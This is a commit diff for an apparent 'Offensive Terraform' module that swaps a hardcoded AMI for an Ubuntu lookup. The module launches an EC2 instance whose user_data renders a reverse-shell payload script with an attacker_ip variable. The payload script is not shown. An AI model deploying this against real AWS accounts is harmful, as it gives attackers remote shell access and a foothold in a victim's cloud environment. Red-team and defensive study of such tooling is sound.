Modified main.tf to use data.tf for AMI lookup

data.tf

@@ -0,0 +1,9 @@
+data "aws_ami" "ubuntu" {
+  most_recent = true
+  owners = ["099720109477"]
+
+  filter {
+    name   = "name"
+    values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
+  }
+}

main.tf

@@ -1,24 +1,24 @@
-terraform {
-  required_version = ">= 0.12"
-}
-
-resource "aws_instance" "this" {
-  ami                         = "ami-06b263d6ceff0b3dd"
-  instance_type               = "t2.micro"
-  subnet_id                   = var.subnet_id
-  iam_instance_profile        = var.iam_instance_profile
-  user_data                   = data.template_file.user_data.rendered
-  associate_public_ip_address = true
-
-  tags = {
-    CreatedBy = "Offensive Terraform"
-  }
-}
-
-data "template_file" "user_data" {
-  template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")
-
-  vars = {
-    attacker_ip = var.attacker_ip
-  }
-}
+terraform {
+  required_version = ">= 0.12"
+}
+
+resource "aws_instance" "this" {
+  ami                         = data.aws_ami.ubuntu.id
+  instance_type               = "t2.micro"
+  subnet_id                   = var.subnet_id
+  iam_instance_profile        = var.iam_instance_profile
+  user_data                   = data.template_file.user_data.rendered
+  associate_public_ip_address = true
+
+  tags = {
+    CreatedBy = "Offensive Terraform"
+  }
+}
+
+data "template_file" "user_data" {
+  template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")
+
+  vars = {
+    attacker_ip = var.attacker_ip
+  }
+}